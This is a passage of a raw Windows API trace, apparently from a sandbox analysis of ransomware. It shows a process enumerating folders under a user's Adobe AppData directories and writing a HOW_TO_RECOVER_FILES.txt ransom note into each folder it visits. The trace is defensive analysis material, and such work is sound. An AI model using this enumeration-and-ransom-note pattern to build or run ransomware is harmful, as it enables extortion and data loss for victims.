[0227.346] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfcc0fc, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bfcc0fc, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.346] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bfcc0fc, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfcc0fc, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xdf6349d5, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x27d, dwReserved0=0x0, dwReserved1=0x0, cFileName="0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl", cAlternateFileName="0FDED5~1.CRL")) returned 1 [0227.347] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bfa5e97, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfa5e97, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xdf6322b7, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl", cAlternateFileName="CE3388~1.CRL")) returned 1 [0227.347] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0227.347] FindClose (in: hFindFile=0x134a8c0 | out: hFindFile=0x134a8c0) returned 1 [0227.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb0a0) returned 1 [0227.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb060) returned 1 [0227.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb160) returned 1 [0227.347] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache", nBufferLength=0x105, lpBuffer=0x204eac00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache", lpFilePart=0x0) returned 0x42 [0227.347] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\*", lpFindFileData=0x204eae80 | out: lpFindFileData=0x204eae80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfcc0fc, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bfcc0fc, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aa40 [0227.347] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfcc0fc, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bfcc0fc, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.347] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bfcc0fc, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfcc0fc, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xdf6349d5, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x27d, dwReserved0=0x0, dwReserved1=0x0, cFileName="0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl", cAlternateFileName="0FDED5~1.CRL")) returned 1 [0227.348] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bfa5e97, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfa5e97, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xdf6322b7, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl", cAlternateFileName="CE3388~1.CRL")) returned 1 [0227.348] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bfa5e97, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfa5e97, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xdf6322b7, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl", cAlternateFileName="CE3388~1.CRL")) returned 0 [0227.348] FindClose (in: hFindFile=0x134aa40 | out: hFindFile=0x134aa40) returned 1 [0227.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb0a0) returned 1 [0227.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb060) returned 1 [0227.348] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eabb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5b [0227.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb0d0) returned 1 [0227.348] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\crlcache\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x860 [0227.446] GetFileType (hFile=0x860) returned 0x1 [0227.446] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb040) returned 1 [0227.446] GetFileType (hFile=0x860) returned 0x1 [0227.446] WriteFile (in: hFile=0x860, lpBuffer=0x378e7d8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204eb198, lpOverlapped=0x0 | out: lpBuffer=0x378e7d8*, lpNumberOfBytesWritten=0x204eb198*=0x5d0, lpOverlapped=0x0) returned 1 [0227.447] CloseHandle (hObject=0x860) returned 1 [0227.447] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eb5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x52 [0227.447] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb00) returned 1 [0227.447] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x860 [0227.448] GetFileType (hFile=0x860) returned 0x1 [0227.448] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba70) returned 1 [0227.448] GetFileType (hFile=0x860) returned 0x1 [0227.450] WriteFile (in: hFile=0x860, lpBuffer=0x3792070*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ebbc8, lpOverlapped=0x0 | out: lpBuffer=0x3792070*, lpNumberOfBytesWritten=0x204ebbc8*=0x5d0, lpOverlapped=0x0) returned 1 [0227.451] CloseHandle (hObject=0x860) returned 1 [0227.451] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204ec010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x49 [0227.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec530) returned 1 [0227.451] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x860 [0227.452] GetFileType (hFile=0x860) returned 0x1 [0227.452] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4a0) returned 1 [0227.452] GetFileType (hFile=0x860) returned 0x1 [0227.452] WriteFile (in: hFile=0x860, lpBuffer=0x37958e8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ec5f8, lpOverlapped=0x0 | out: lpBuffer=0x37958e8*, lpNumberOfBytesWritten=0x204ec5f8*=0x5d0, lpOverlapped=0x0) returned 1 [0227.453] CloseHandle (hObject=0x860) returned 1 [0227.453] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eca40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x46 [0227.453] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecf60) returned 1 [0227.453] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x860 [0227.454] GetFileType (hFile=0x860) returned 0x1 [0227.454] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eced0) returned 1 [0227.454] GetFileType (hFile=0x860) returned 0x1 [0227.455] WriteFile (in: hFile=0x860, lpBuffer=0x3799150*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ed028, lpOverlapped=0x0 | out: lpBuffer=0x3799150*, lpNumberOfBytesWritten=0x204ed028*=0x5d0, lpOverlapped=0x0) returned 1 [0227.455] CloseHandle (hObject=0x860) returned 1 [0227.456] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0227.456] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player", lpFilePart=0x0) returned 0x32 [0227.456] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe5380e4e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a980 [0227.456] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe5380e4e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.456] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5380e4e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssetCache", cAlternateFileName="ASSETC~1")) returned 1 [0227.456] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52e83dd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NativeCache", cAlternateFileName="NATIVE~1")) returned 1 [0227.456] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52e83dd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NativeCache", cAlternateFileName="NATIVE~1")) returned 0 [0227.457] FindClose (in: hFindFile=0x134a980 | out: hFindFile=0x134a980) returned 1 [0227.457] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0227.457] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0227.457] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0227.457] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player", lpFilePart=0x0) returned 0x32 [0227.457] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe5380e4e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b520 [0227.457] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe5380e4e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.457] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5380e4e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssetCache", cAlternateFileName="ASSETC~1")) returned 1 [0227.457] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52e83dd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NativeCache", cAlternateFileName="NATIVE~1")) returned 1 [0227.458] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0227.458] FindClose (in: hFindFile=0x134b520 | out: hFindFile=0x134b520) returned 1 [0227.458] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0227.458] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0227.458] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0227.458] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache", lpFilePart=0x0) returned 0x3d [0227.458] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5380e4e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ada0 [0227.459] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5380e4e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.459] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe538be0f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe538be0f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="G7ZD37Y5", cAlternateFileName="")) returned 1 [0227.459] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe538be0f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe538be0f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="G7ZD37Y5", cAlternateFileName="")) returned 0 [0227.459] FindClose (in: hFindFile=0x134ada0 | out: hFindFile=0x134ada0) returned 1 [0227.459] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0227.459] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0227.459] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0227.459] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache", lpFilePart=0x0) returned 0x3d [0227.460] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5380e4e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a6e0 [0227.460] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5380e4e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.460] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe538be0f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe538be0f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="G7ZD37Y5", cAlternateFileName="")) returned 1 [0227.460] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0227.460] FindClose (in: hFindFile=0x134a6e0 | out: hFindFile=0x134a6e0) returned 1 [0227.460] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0227.460] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0227.460] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0227.460] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\G7ZD37Y5", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\G7ZD37Y5", lpFilePart=0x0) returned 0x46 [0227.460] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\G7ZD37Y5\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe538be0f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe538be0f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0227.461] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe538be0f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe538be0f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.461] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe538be0f, 